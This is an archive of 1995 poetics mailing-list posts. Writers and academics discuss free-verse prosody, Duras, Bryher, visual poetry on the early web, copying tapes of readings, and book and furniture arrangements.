Maybe if I quote Mallarme it won't seem so offensive to say, "Je dirai que la reminscence du vers strict hante ces jeux a cote et leur confere un profit." [No way to do diacritical marks here.] I think Eliot got his "haunting" theory of f.v. from this statement.

Just because a question has been debated for a hundred years is no reason to quit discussing it. Chronological parochialism. Time-blinkering. Intellectual life of the sea-anemone.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

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510. cris cheek
new meanings for old words or old meanings for new words?
Fri 21 Jul 1995

Reinvigorating apparently stranded terminology (of which we might well all have a lengthy list) is one of 'our' poetries' more intriguing functions. In the process poetry can sensitise agendas that have lain dormant or been wilfully ignored.

I appreciate Steve's point regarding specificity and subtlety of discourse and of listening (with a wide angle) to each other's curiosity in these respects.

Challenge is to navigate beyond the routine ironising of pomo without being po-faced or as Steve points out (invoking 'soul food' as the indulgence of the Romantics) - nostalgic. Interfuse the ordinary and the extraordinary - bringing spirituality into an integral engagement with the everyday? Compose the day.

love and love
cris

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511. Pierre Joris
Re: Duras
Fri 21 Jul 1995

Maria writes:

> *i've found this a great text to teach, esp in connection with the master/slave dialectic... wasn't it dictated, rather than written, because she was too out of it (alcoholically) to hold a pen? amazing, that it shd come out of an alcoholic "stupor"--md*

I don't remember the dictation part, or, rather don't know if that is how that specific text was composed, but indeed, she did dictate some of her writings. If

you remmebr where that story comes from, I'd be interested in knowing more about it.

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother. ==========

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512. **A. Morris**
opportunity knock
Fri 21 Jul 1995

The MFA in Nonfiction Writing program at Iowa has just this morning been notified that we've been allotted three Patricia Roberts Harris fellowships for minority students to enroll in August, so I'm writing to ask if anyone knows of a writer who might be interested in applying.

The MFA in Nonfiction Writing is not connected with the Writers Workshop but with the Iowa English Department. It's a relatively small program (about 12-15 entering students a year) for people who want to concentrate on writing nonfiction essays. It's a two-and-a-half year commitment ending in a thesis (a book of nonfiction essays). The people teaching in the program include Patricia Foster, Tom Simmons, Paul Diehl, Carl Klaus, and Susan Lohafer; visitors have included Patricia Hampl, Terry Tempest Williams, Gerald Early, etc. The students are generally older, some come from a publishing background, some are experienced writers, most are people who've written at night after their regular job is over and want to see what it would be to follow out a writing life.

The PRH fellowships offer a 12-month stipend for $14,400 plus (I think) tuition. If you know of anyone who would be interested, have him/her contact Paul Diehl (319/[redacted] or 319/[redacted]) or e-mail me at the above address or call (319/[redacted]) ASAP. At such short notice, people can apply by faxing a creative nonfiction writing sample and a short letter. Since everything here shuts down by August 4th to start again August 21st, we'd have to make decisions in ten days or so.

If you know of anyone who might qualify--i.e. is a passionate and committed writer interested in nonfiction essays and a person of color--let them know as soon as possible..

Thanks,

Dee--

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513. **Alan Sondheim**
Re: Duras
Fri 21 Jul 1995

I have never gotten over Destroy, She Said, which has continued to affect my own work, as voices become untethered, lose their moorings, become slightly dangerous -

Alan

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514. **Ryan Knighton**
Re: Duras
Fri 21 Jul 1995

Thanks everyone for the info. I'm trying to track down the films, now. If anyone is interested, the text I found is called Two By Duras, pblshed by Coach House (i think I puth this on one of my bedside lists, but just got to it). Cheers.

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515. **Herb Levy**
Re: Grolier Books & the Perils of Essentialism
Fri 21 Jul 1995

I want to second Maria Damon's suggestion about Grolier's in Cambridge and make an additional suggestion that you always ask for anything you can't find there.

Everything isn't in one alphabetical order in the general shelves. There are a number of special interest areas (for example some, but not all, geographic areas, ethnic groups, styles, and languages have their own shelves) which aren't always easily marked, but where you can often find books that don't seem to be there.

I was there soon after Robin Blaser's Holy Forest was published and it wasn't in the general section, it wasn't in the Gay section, but there were several copies in the Canadian section. I don't remember if all of Edmond Jabes books were in the French section or the Jewish section, but he was only in one or the other. What gets stocked in the Language poetry section seems often to be determined more by a book's publisher than anything else.

This can be frustrating, but once you know to ask the number of books available at Grolier's nearly doubles.

Herb Levy
[redacted]

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516. Alan Golding
Various and sundry
Fri 21 Jul 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Marisa: You probably know about the Loy book that Keith Tuma and Maeera Shreiber are editing (do you have an essay in it?). Maybe that would be a possibility for your Loy transcript? Or Sagetrieb?

Haines on Hoover: Well, again, as with the Rainey/HD shenanigans, and D. Porter on ED, the mind boggles . . . mine seems to be boggling a lot lately, and doing little else. But more seriously: I've written a little on the Weinberger and Hoover anthologies in From Outlaw to Classic, but am in the process of doing more, on them, on Doug Messerli's anthology, and on Dennis Barone and Peter GAnick's. I'd be interested in reviews of any and all of these that any of you might come across. (I know Hank Lazer's piece in Con. Lit., something from TLS, a Thom Gunn review in Threepenny Review.)

On tapes: the taping thread prompted me to mention something you might find of use/interest. At the Twentieth-Century Lit. Conference here, we videotape the keynote readings, talks, and performances, and copies are available for non-commercial use (the authors have signed a release) at around 10 or 15 bucks. So there's some spectacular performances from recent years from Charles Bernstein, Susan Howe, David Antin, Clayton Eshleman, Ed Dorn, just to mention a few likely to be of particular interest to this list. Also Sherley Anne Williams, Michael Burkard, Louise Gluck, Enid Dame, Alicia Ostriker, Eleanor Wilner (nearly put Elinor Wylie!), Jonathan Holden, W. S. Merwin. The tapes of Charles, Susan, and David are particular faves of mine.

Have a good weekend, y'all.

Alan

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517. Ryan Knighton
Open Mike Titles
Fri 21 Jul 1995

More Likely Open MiKe Titles (add to Regs and stir):

The Bastard Peeped
How I Get Off in Detail
Howl II
Crossing the Perplexing Void Thing
Let Me Tell You Something About Yourself Youre Too Stupid To Know
Heaven Pissed Me Off
Howl III
I Cant Hear Myself Think Sometimes
Litter Dispatch
Carry Me Back To Ol Virginie
Feeling Pigeon Parked
Ode to Howl II
If I Were Terminally Ill
Keep Off Grass, It Said
Perfect
I Love My Bike So Much
Nipple Nipple Nipple
Gauche Sins
What Is This In Hell
Stillborn and Other Edibles
I Need A Lift To Miami, Man
Bummerdrag
You Know What Its Like When Its Like That
Fuck You, Aunt Helen
Once Upon a Trailer Park Calm
Do Tell, Suzy Q
Make Me Squeal With Your Vibe
Bunyons Blue Ox Fell
The Fat Ladys Singin
I Wrote This All By My Lonesome
Roadkill Grill
Punt
Me and Sister Anna on the TransCanada
Got a Chevy Full of Neuroses

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518. **Rod Smith**
Re: the politics of dub
Fri 21 Jul 1995

For the sake of a bit more than argument I'd like to take an anarchist stance on this issue. I don't think our lurker friend should feel guilty for offering to copy that tape. The technology exists, she has the tape, she cld get it to M.D. as easy or perhaps easier than he cld order it. It is also quite possible that hearing this tape wld cause listener(s) to buy books they might not otherwise have bought.

The Grateful Dead encourages bootlegging of their music-- it ain't hurt them. They've been consistently one of the top grossing bands since the late '80s. Bob Dylan hates bootlegging-- but I think he has benefited from it as he doesn't release his best work (or rarely)-- people can find out just how good he is from bootlegs & maybe buy more albums &/or go to concerts as a result. (He's worth seeing agn by the way, just plain didn't care for a while there). This seems to me true of less commercial work as well. I know people have bought books by poets that I've taped for them they would not otherwise have bought. The propaganda goes that one is taking money out an artist's pocket when one makes a copy. I don't think that's the way artists end up making money. They do it largely via garnering reputation which eventually receives monetary reward (usually institutional). You're not likely to garner anything if people can't encounter yr work.

There are trickier questions here too which Cris C articulated well. But to take it even further-- Why is a performance of music not as much the "property" of the people in the room as of the musicians. It is a collective consensual experience after all, & should be recognized as such. To get more to the heart of it I think is that there seems some idea that there will be justice if the rules are followed. Ain't with that. The rules are written by a ruling elite in their interest, they will be the ones to profit when the rules are followed. Personally, that curbs my enthusiasm for following the rules. Kathy Acker's mess over 4 pages of Harold Robbins' which was substantially altered is an example of this. (She has an excellent piece in the first _Postmodern Culture_ (available via e-mail [redacted]. it's indexed as ACKER.99) abt this that actually also bears very interestingly on the soul thing (what abt "spirit" anyway, let's be bald abt it, o no, maybe I've started it up agn)).

I'm NOT making a case for Pirating, I hope that's obvious.I'm not sure it is tho, maybe I'm arguing for A COMMUNITY OF PIRATES THAT HAVE BRAINS. However _selling_ other artists materials w/out their consent is not what I'm referring to. Making it available to others where it otherwise wld not be (at no profit to the provider) is what I'm talking abt. So I don't see, in the end, any valid moral or economic arguments against using my tape dubbing system as I

please. Or, for that matter my desktop xerox (which I just got, FREE. Ha!) I am after all lucky enough, i.e. priveleged enough to have access to a lot of cultural materials, which NEED to be shared, I think. If for any reason anyone has a tape of my work they want to copy or wants to xerox something, go for it. (Actually there are a few readings I've done I know were taped that I never got copies). But the work, IT'S NOT MINE ANYWAY, & I'm not sure it ever was.

Cage: "ART IS CRIMINAL ACTION."

I wonder sometimes if you can tell it's art by how many people need to dismiss or attack it. {That's not asking to be attacked, just a little old opinion from a silly wittle poet in the age of mechaniacal (not sic) repatriation. . . --Rod PS- Clint Burnham's _The Jamesonian Unconscious_ is out from Duke. References a number of language poets & punk bands in a rather concomitant monad-analogical heist picture of misdiagnosis, i.e. it's precisely the tool to confuse personal ethics for class struggle in a different register and for quite different narrative ends. Check it out.

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519. Jordan Davis.
fishmonger
Fri 21 Jul 1995

Mike

I have to catch a train in an hour so I'll rush this and mess it up. It may be that my brain was steeped in Deleuze. However. It does seem to me that there are these reverences that go beyond criticism--let's call them loves. Wittgenstein, in my neighborhood, seems to be one of those. And the

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520. Sheila E. Murphy
Re: aleatoric furnishing
Fri 21 Jul 1995

Ryan, You remind me of one of my favorite arrangements: the empty apartment up in Escanaba (effectively a pre-life now, it seems) before the furniture arrived. Not what you are getting at, I know. But is was my favorite or among my favorite arrangements. Felt abundant, as do many such reversals.

But as for aleatory, I might propose creating a nice tone row of your liking, then assigning notes of the scale (chromatic, of course) to various objects and then placing them in a row.

of course, there's always the old favorite of drawing numbers from a hat (or crayons - but not on a warm day and not in Phoenix) and determining a nice little chancy order in which things can be allowed to land and be awhile.

I've just gotten off a plane from LAX, which I'll blame for this odd little missive.

Best of luck with your move!

SEM

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521. **Rod Smith**
Re: Various and sundry
Fri 21 Jul 1995

A.G.--
Please post a number &/or address for these tapes of CB, SH, etcetal. Thanks.

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522. **Joseph Zitt**
Re: KennyG's Home Page/Visual Poetry
Fri 21 Jul 1995

On 21 Jul 95 at 23:03, Blair Seagram wrote:

> *To those of you interested in visual poetry:*
>
> *I have been sending gif files to Kenny Goldsmith and he has been putting them up on his home page. At the moment I am the only person he has listed under visual poetry. I need some company! And I know Kenny wants a bigger selection, or should I say, he wants a selection. Sooooo, I am encouraging people to send him their work.*
>
> *You may want to check out the page first. The address is: http://wfmu.org/~kennyg/*

Great! I've taken a look and like what I see. I'm about to start putting a new work on the Web as a series of GIFs (since page design is important to it, and GIFs are a whole lot more accessible and compact than Postscript or just about anything else), and will contact him about linking to it.

> *I am on a Mac and I'm not sure who else is. My procedure is to bring my work into photoshop and make the necessary adjustments for the home page there, then save the piece as a gif. After that I send it to Kenny as an attachment.*

For what it's worth: I'm developing mine in Word for Windows. Once a page is done, I use a screen capture program, SuperClip (available from the SimTel mirror archives) to grab the window. I then trim it to a consistent 375x490

pixels in SuperClip, save it as a GIF, then go into LView and convert the GIF to B&W. The resulting GIFs are running about 8 or 9 K.

(The stuff should be at
http://www.realtime.net/~jzitt/tsiuf/
by Monday or so.)
---------1---------1---------1---------1---------1---------1----------
|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/ Online Representative, Austin International Poetry Festival \|
/ <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

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523. Burt Kimmelman
prosody and conversion
Fri 21 Jul 1995

Marjorie,

I was the one who suggested the sexual - Herbert connection. But of course the conversion thing--yet, how does sitting fit into that concept?

I of course can imagine eating (eucharist).

On the subject of free or enslaved verse and feet:

I just in the mail today got a copy of :

RETHINKING METER: A NEW APPROACH TO THE VERSE LINE by Alan Holder, Bucknell UP.

I won't go through the entire jacket copy, but here are some snatches of it:
"the committment to the foot as a measure satisfies ad desire for a poem to display a system"
"But that system is achieved only at the cost of [etc.]"
Holder "discards the approach" whereby on the one hand there is the ideal line and on the other the actual line and the reader apprehends a tension"
[that was a paraphrase]
i.e., Holder's approach avoids a dualism.
also the book criticizes previous theoretical approaches including those purporting to be non-dualistic.
Holder finally discards the notion of meter altogether and thus approaches the line not through the foot but the phrase. Yet H. still feels that the "line" is what marks poetry from prose.
He draws on linguistics among other disciplines to make his argument.

I would imagine Holder is looking for reviewers. He can be reached for whatever reason at the Dept of English, Hunter College, CUNY, 695 Park ave., NYC 10021, USA.

BK

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524. **Burt Kimmelman**
Re: Herbert & Communion
Fri 21 Jul 1995

Charles,

I can see the sex-religious thing in the Middle aGes before Luther than in Herbert's time (I'm thinking now of Boswell's book on same-sex early and mid Middle Ages religious ceremonies--though I will have to say that the book is controversial, but Boswell had a good rep. over all; I' haven't read it but heard him on the radio one day, very convincing.)

anyway, thanks. maybe you (we) are right.

burt

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525. **Burt Kimmelman**
Re: anthologies
Fri 21 Jul 1995

Hank, Marjorie,et al.,

Haines is in the Story Line Press stable, whence springs neo-formalism etc., sired out of Hudson Review, Bruce (mr. obtuse) Bawer of New Criterion infamy. Well, I shouldn't say sired, since Haines is no young man. got carried away with the equinious possibilities.

BK

↑ Index

526. **Steve Carll**
juvenilia
Sat 22 Jul 1995

> *Anyone else care to flaunt their juvenilia?*
>
> *Nada*

Hoo boy. I'm still not sure if I'm *out* of my juvenilia yet. These are great poems, though. Thanks for sharing.

Steve

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527. **Steve Carll**
Re: free verse foot
Sat 22 Jul 1995

> *Since, however, there is no free verse foot, and since it is strictly impermissible to alter typography in a genuine confrontation of all the linguistic features of the line, we must accept Zygmunt Czerny's axiom that each line in free verse is "quantitatively independent of the previous one" and Barbara Herrnstein Smith's that the line is "not a constant unit but the acknowledgement of a limit of variability." In fact, the line is the notation of how the poem is to be read.*
>
> *I wonder if whoever recommended this essay, or anyone else, cares to comment on those statements, especially on the assumption, "there is no free verse foot."*

I think there is no *single* "free verse foot", though each poem or section or line of free verse poetry has obviously some patternable collection of beats (anyone read Jim Rosenberg's recent post of his "Notes Toward a Non-linear Prosody of Space"?), that it sets up, ad-hoc, as it were. I'm not sure why it's impermissable to alter typography (whose permission does one have to obtain?), though, or how this would constitute a genuine confrontation of all the linguistic features of the line, so the two axioms have to be withheld until someone can explain it to me.

Steve

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528. **maria damon**
Re: prosody and conversion
Sat 22 Jul 1995

---

burt k writes
> Marjorie,
>
>
>

snatches of:
committment to the foot as measure
satisfies ad desire
for a poem to dis/
pla(y)ce a "system"

adpoems, foot fetishism, snatching desire out of displaced systems of dis/play...someone witty could base a whole standup routine on this issue --anyone wanna go for it?--md

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529. Blair Seagram
KennyG's Home Page/Visual Poetry
Sat 22 Jul 1995

To those of you interested in visual poetry:

I have been sending gif files to Kenny Goldsmith and he has been putting them up on his home page. At the moment I am the only person he has listed under visual poetry. I need some company! And I know Kenny wants a bigger selection, or should I say, he wants a selection. Sooooo, I am encouraging people to send him their work.

You may want to check out the page first. The address is:
http://wfmu.org/~kennyg/

If you don't have a graphics browser, like Netscape, you can get his page but you won't get the visual files.

I am on a Mac and I'm not sure who else is. My procedure is to bring my work into photoshop and make the necessary adjustments for the home page there, then save the piece as a gif. After that I send it to Kenny as an attachment.

Photoshop is the only program I know of that will save a file as a gif, which I think is better than jpeg. I have written quite a few things in Quark Xpress. Unfortunately one cannot bring a Quark eps into Photoshop with any degree of success. Contrary to what one would think, eps is not a universal format. This means anything I want to put on the web that I have written in Quark will need to be recreated in another program. For me, that would be Adobe Illustrator. Illustrator eps's are compatible with Photoshop and come in with no problem. You can work on an Illustrator file in Photoshop should you so desire.

Failing that, a person can scan in a visual poem and save it as a gif in photoshop. However the file will no doubt be larger than a file created directly on the computer.

Once in Photoshop

1. Save your document.
2. Under Image choose Image Size and set the Resolution to 72 pixels/inch.(OK)
3. Under Mode choose Indexed Color and set the Resolution to 8 bits, the Palette to Adaptive Color and the Dither to Diffusion.(OK)
4. Save as CompuServe Gif.
5. Send as an attachment to Kenny.

Backchannel me ([redacted])if you have any questions or problems. Backchannel Kenny ([redacted]) if you want to know more about the home page etc.

I might mention here that poems configured on the unix bulletin boards directly, will hold there formatting if I print them out directly from the list, but lose their formatting when I save them to my hard drive and try to print them out in teachtext or MS Word.

This happened today when I tried to print out a post of Karl Young's with a poem made by configurations of the word love, with an emphasis on evol. I believe it is by bpNichol whose work I know only through these lists. Luckily I still had the poem on my mail list and was able to print it correctly.

Sweet dreams

Blair

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530. **Blair Seagram**
continued home page
Sat 22 Jul 1995

PS - I forgot to say that if you are scanning in images, scan them in at a higher resolution that 72 dpi. If possible try 300 dpi or if not 200 dpi, then after you have saved your doc in Photoshop, reduce the resolution in image size to 72 pixels. Keep the size at 100%. This will improve the quality of your image.

Goodnight.

Blair

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531. **Ron Silliman**
Re: who is Woody Allen
Sat 22 Jul 1995

Rachel wrote...
>Woody Allen is Allen Stewart Konigsberg, originally.

And it was my grandfather who acquired the name Silliman when he was adopted. Otherwise I would be Ron McMahon, so McMahon, Konigsberg and Zukofsky--a law firm, indeed.

I've always had the light alienation from my name (having had virtually no relationship to my father or his family) that I took Edward Howard Symmes to have had once his adoptive parents rechristened him Robert Duncan.

How is it Zukofsky seems to have "kept" his name across history? Or did he?

Ron
[redacted]

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532. **Ron Silliman**
Re: who is Woody Allen
Sat 22 Jul 1995

Maria,

to your question: did your agent or translator or did the journal itself propose in an introduction or some such a "vision" or rationale for grouping the 3 of you together?

I have no idea. It was the first time in my life where I was in a grouping in which I was the "tall" one. (Not, however, the first time I was the "the goy")

Ron

↑ Index

533. **Ron Silliman**
Re: Soul/body
Sat 22 Jul 1995

Gabrielle,

"If anyone wants the transcript (Loy/Vas Dias), just send me postage..."

So where do we send this postage? Do get back up on email. It's very confusing to see you channeled hither and yon.

All best,
Ron
[redacted]

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534. **Ron Silliman**
Bryher
Sat 22 Jul 1995

Does anyone know of a good collection of the writings of Bryher, HD's companion?

Ron Silliman
[redacted]

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535. **Ron Silliman**
Address
Sat 22 Jul 1995

Aldon,

The address is:

116 Biddle Road
Paoli, PA 19301

Everyone is encouraged to send me their latest mags and/or books. Out here, Borders looks like Cody's (while everything else looks like Borders). The major confusion I see in the bookstores is whether Khalil Gibran is poetry or philosophy....

Ron

↑ Index

536. **Ron Silliman**
A foot to kick John Haines with
Sat 22 Jul 1995

Marjorie,

I liked Haines' Wesleyan books in the 60s mildly. His neocon side (like that of Roger Shattuck, who had one very interesting book of neosurreal poems during that decade also) had not yet emerged. The New Criterion is quite amazing, particularly given Hilton's stance that the function of modernism was to establish standards and that this is the proper role of the critic.

>Tom: how can there be a free-verse foot? By definition, free verse means
>you're not counting stresses or syllables so what is a free-verse foot?

Are there not "feet" in all prosody? Free verse means not being artificially bound by a set pattern thereof. Again, to recall McClure sending his students off to the zoo to "scan the lions"...

Ron
[redacted]

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537. **Ron Silliman**
Re: furnished
Sat 22 Jul 1995

> |

Bruce Andrews used to have his book collection organized by the color of the jacket design, a rainbow effect (that meant he had to remember what a given book looked like and hope that sun fading didn't alter the order). Don't know if he still does....

Ron
[redacted]

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538. **Tom Mandel**
Re: furnished
Sat 22 Jul 1995

---

re: Ron's

"Bruce Andrews used to have his book collection organized by the color of the jacket design..."

Last I heard, the books were color-coded still. But will we really know? bruce is now the only poet I know who doesn't have or use a computer (and I am trying to remember if I've ever had a typed note from him...). Why does this seem at once so unlikely and so appropriate?

Tom Mandel

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539. **maria damon**
Re: who is Woody Allen
Sat 22 Jul 1995

---

ron silliman writes:
.. it was my grandfather who acquired the name Silliman when he was

> adopted. Otherwise I would be Ron McMahon, so McMahon, Konigsberg and
> Zukofsky--a law firm, indeed.

--reminds me of this Jewish joke where an Irish guy goes into a store named Houlihan and Rosenbloom, and is greeted by a little old man in yarmulke, beard,
etc. The customer says, "Isn't it a wonderful surprise to see our two people getting along so well and working together." The little old guy beams and nods and says, "I've got an even bigger surprise for you. I'm Houlihan."
>
> I've always had the light alienation from my name (having had virtually
> no relationship to my father or his family) that I took Edward Howard
> Symmes to have had once his adoptive parents rechristened him Robert
> Duncan.

-I thought it was the other way around, his adoptive parents were named Symmes
and he was Robert Symmes until he came of age and did his research, then he switched back to Duncan?--(faas biog?)
>

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540. **maria damon**
Re: Duras
Sat 22 Jul 1995

---

pierre writes of m duras's maladie de la mort:
>
> I don't remember the dictation part, or, rather don't know if that is
> how that specific text was composed, but indeed, she did dictate some
> of her writings. If you remmebr where that story comes from, I'd be
> interested in knowing more about it.
>
I remember hearing this from a student who did a presentation on it in class. she had the information from an article on duras, or from, as i recall, reviews of the book, which was apparently not well received. the general sense this student conveyed was that duras, otherwise tremendously respected, was seen to
be "falling down on the job" in this instance --not by the fact of dictation, but by the book "itself." sorry this is such an impressionistic unscholarly response, pierre. y-day i was cleaning out my office and came across a small note in someone else's handwriting, about a "journal of durassian studies."

maybe those were the student's notes and that was her source. hope all's well chez toi (et vous) in albany!--md

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541. **maria damon**
my other obsession
Sat 22 Jul 1995

---

does anyone know of any jewish cultural studies lists on the e, and how to subscribe? i'm anxious to spend 100% of my time, rather than simply the current 90% of my time, in front of my monitor while the short minnesota summer cavorts carnivalesquely around me.--md

↑ Index

542. **Sheila E. Murphy**
Re: Exercise(s)
Sat 22 Jul 1995

Jim Rosenberg writes:

> *"Variations Done for Gerald Van de Wiele", by Charles Olson. Yes??*
>
> *If someone asked me what was my "favorite poem", I would have to say that this poem blew my mind at a fairly young age as the most amazing poem in the English language, and I haven't changed my opinion since.*

Jim, I don't have the "Variations" poem by Olson. Where does that appear?

Thanks.

Sheila Murphy

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543. **A. Morris**
Re: Bryher
Sat 22 Jul 1995

On Sat, 22 Jul 1995, Ron Silliman wrote:

> Does anyone know of a good collection of the writings of Bryher, HD's
> companion?
>
> Ron Silliman
> [redacted]
>
Ron:

There is no collected writings and I'm not sure what's still in print but a good university library--or even public library--should have two of her more interesting pieces: The Days of Mars: A Memoir, 1940-46 (about living through WWII in London) and The Heart to Artemis: A Writer's Memoirs (about her life as a writer and dedicated to "my master, Stephane Mallarme"). Unlike Mallarme, as you no doubt know, she mostly wrote historical novels: Ruan, Gate to the Sea, Roman Wall, The Player's Boy, The Fourteenth of October. She also founded, edited, and wrote for Close Up, one of the first journals of avant-garde cinema & theory, which can be located in university libraries in microfilm. Her poetry is here and there in little journals of the twenties and thirties but never gathered, at least that I know of. She also wrote a pretty interesting early developmental novel called "Two Selves," part of which is a fierce attack on education in England.

Dee

↑ Index

544. **Jim Rosenberg**
Re: Exercise(s)
Sat 22 Jul 1995

Herb Levy:
> there are very few
> poems that serve the same kind of function as musical "etudes" do.

"Variations Done for Gerald Van de Wiele", by Charles Olson. Yes??

If someone asked me what was my "favorite poem", I would have to say that this poem blew my mind at a fairly young age as the most amazing poem in the English language, and I haven't changed my opinion since.

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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545. **Jim Rosenberg**
Re: manipulators
Sat 22 Jul 1995

John Geraets:
> On behalf of a fellow Nagoyan, Bruce Malcolm, I'd
> like to ask does anyone know of text manipulation

> software, randomizers, whatever, that may be commercially
> available (or not, as the case may be).

I haven't used chance to produce "final outcomes" in my work for a very long time, but I use chance as an indispensable "precompositional" aid, permuting reservoirs of words as part of a process of making "prompt sheets" that I write from to produce the final outcome. The program that I use to do this is a simple portable C program; it assumes as units whatever text is between blank lines, and pseudo-randomly permutes these. If anyone has any use for it, send me E-mail and I'll send it to you.

--

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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546. **Jim Rosenberg**

Re: Free Verse Foot

Sat 22 Jul 1995

Marjorie Perloff:
> Tom: how can there be a free-verse foot? By definition, free verse means
> you're not counting stresses or syllables so what is a free-verse foot?

Sigh. Beeeg sigh. [Risk of sounding petulant sigh ...]

Umm, Marjorie (and all the other folks wondering this) please *read* section I.3 of the article I posted here not so many days ago called "Notes Toward a Non-linear Prosody of Space." It contains a very detailed and specific proposal for how a concept of free-verse foot can be constructed. I do prefer a new term (I use 'measure') over foot, precisely because foot does have so much baggage. If you believe that the concept presented there is not viable, I would be *delighted* to hear the argument.

The ideas in the first part of that article are well over 20 years old. I remember giving a workshop on this at Mark Linnenathal's (sp?) class at the Poetry Center in S.F. A couple of days later I spoke to one of the students who was there. He said that as I was talking, he was saying to himself "well that all sounds nice but surely he can't be talking about poets like, say, *Creeley*." Then we *scanned* Creeley. He said it blew his mind. A couple of the names of students I remember from that class were Keith Shein and Ted Pearson. (I think Beverly Dahlen was there too, but am not sure.)

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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547. **Ryan Knighton**
Re: furnished
Sat 22 Jul 1995

Sheila, Tom, Ron, etc...

Colour seems to be the favoured system. Unfortunately, being mostly blind, my stuff is drab in this respect. I like S. Murphy's jet=lagged idea to draw numbers or use cards, but I don't have any. My most recent notion is to arrange my furniture and kitchen as I do my books: alphabetically. This is very arbitrary and Nicholesque. Moreover, when bumping about in the dark, or in a stupor, or for fun, I can navigate by touch translated to letter. Ah, my couch==my coffe table must be behind me. Or, did I call it a chesterfield when I was setting up shop? I think I will now backtrack to bed. Goodnight all.

↑ Index

548. **Ron Silliman**
Re: furnished
Sat 22 Jul 1995

Tom,

bruce is now the only poet I know who doesn't have or use
>a computer (and I am trying to remember if I've ever had a typed
>note from him...). Why does this seem at once so unlikely and so
>appropriate?

Let's see: Leslie Scalapino I believe still types (tho she lurks here through Tom's university account I do believe); ditto Eigner, Weiner, Grenier (when he isn't scribbling).

I was at one of the evenings that Kevin Magee and Myung Mi Kim have been putting on in El Cerrito and a discussion of the internet rose briefly, to be met by several of the 25 or so poets by the "oh, that's for those with computers" class line.

Ron

↑ Index

549. **Sheila E. Murphy**
Re: Olson Poem
Sat 22 Jul 1995

Jim, I just came upon the "Variations..." poem by Olson in the Collected...Thanks for mentioning this wonderful piece, which I'm enjoying. (I'll use any excuse to read Olson, any time).

Best,

Sheila

↑ Index

550. **Robert Drake**
Re: Exercise(s)
Sat 22 Jul 1995

"Variations done for Gerald Van De Wiele" appears in _The Distances_ (Evergreen), & in _Archaeologist of Morning_ (Grossman); praps others , but those were on the desk...

luigi

↑ Index

551. **Steve Carll**
Re: the politics of dub
Sat 22 Jul 1995

I have to agree with Rod here, as a receiver of cultural materials who doesn't want to be reduced to his roles as producer and consumer. With both music and literature, I certainly give whatever economic support I can to those who are doing work I'm interested in, but I'm myself below the poverty line, so I have to improvise. That means having stuff taped and Xeroxed for me. If it really blows my mind, I do go out and buy it "for real", so the artist who feels her work has been appropriated by these activities might look at them as a kind of "loss leader". I have a certain set amount of money I can spend, whether I can "bootleg" or not. Not being able to bootleg only means I'll be less aware of what's out there when I'm able to spend the money, and therefore less likely to take a chance on someone whose work I'm not familiar with.

Steve

↑ Index

552. **George Bowering**
Re: Free Verse Foot
Sun 23 Jul 1995

I cant believe, all these years later, that some readers (listeners?) still think there can be poetic feet only in regular verse. (As if feet cannot dance the way WCW describes his dancing in Book V) That is like the English people who still think that rhyme means end-rhyme.

↑ Index

553. **George Bowering**
Re: aleatoric furnishing
Sun 23 Jul 1995

Ryan, I think you should arrange yr furniture by size. If you have rtooms, put all the big things in one room till it is full, and thern middle sized things in the next one, etc. If you have enough rooms the last one will just have the salt shaker in it, and that is something you could sit and look at, count the holes, make yr guests guess the number.

↑ Index

554. **George Bowering**
Re: anthologies
Sun 23 Jul 1995

How could anyone recommend places to see in Boston without mentioning Fenway Park? A guy in yr Congress a few years ago tried to have it preserved as a National Park, a good idea that got shot down. If George Stanley & I were going to Boston we wd go to Fenway Park.

↑ Index

555. **Rachel Loden**
who is Robert Duncan
Sun 23 Jul 1995

Ron and Maria,

My understanding, too, is that Duncan was born Edward Howard Duncan, and adopted as Robert Edward Symmes. Hilde Burton (his longtime friend) would know, and I could ask--but it's in the bio, yes?

Rachel

↑ Index

556. **Rachel Loden**
rebbe-l
Sun 23 Jul 1995

Maria,

I just got a list of Jewish lists by sending the message
"lists global Jew" (w/out quotes) to [redacted]

If you have any trouble I can forward it to you--

Rachel

↑ Index

557. **maria damon**
Re: rebbe-l
Sun 23 Jul 1995

In message <[redacted]> UB Poetics
discussion group writes:
> Maria,
>
> I just got a list of Jewish lists by sending the message
> "lists global Jew" (w/out quotes) to [redacted]
>
> If you have any trouble I can forward it to you--
>
> Rachel

thanks,rachel. now my modem and i can just sit here in the dark into perpetuity. that "global Jew" phrase seems to intimate...well, how shd i say it...a conspiracy? --rebbe w/out a cause

↑ Index

558. **Shaunanne Tangney**
George and Ludwig (fwd)
Sun 23 Jul 1995

---------- Forwarded message ----------
Date: Fri, 21 Jul 1995 22:55:56 -1000
From: Gabrielle Welford <[redacted]>
To: Shaunanne Tangney <[redacted]>
Subject: George and Ludwig

Dear Shaunanne. It's happened again. I thought I was subscribed ok, but NOT! Could you forward this for me? No changing things if you don't agree with them! Gab.

On Sun, 16 Jul 1995, Rod Smith wrote:

> Gabrielle,
> Really, it's all there in the _Tractatus_? I'm not _that_ versed in L.W. but
> had thought the more contextual understanding of language games etc. comes
> after, late 20s? mid '30s?
>
Well, in fact there are those who see much more of a continuum between Tractatus and PI, among them my erstwhile teacher Peter Winch. The argument is something like--and since it is more than 20 years since I was immersed in this, forgive me for rusty hinges--even at the early stage of the Tr, Witt was pursuing an internal logical investigation of what is and what is not possible. It was in fact an investigation of the logical workings of language even at that stage and not an empiricist attempt to splice language to the world. E.g., 6.37 There is no compulsion making one thing happen because another has happened. The only necessity that exists is _logical_ necessity. Or 6.43 If the good or bad exercise of the will does alter the world, it can alter only the limits of the world, not the facts--not what can be expressed by means of language.//In short the effect must be that it becomes an altogether different world. It must, so to speak, wax and wane as a whole.//The world of the happy man is a different one from that of the unhappy man.

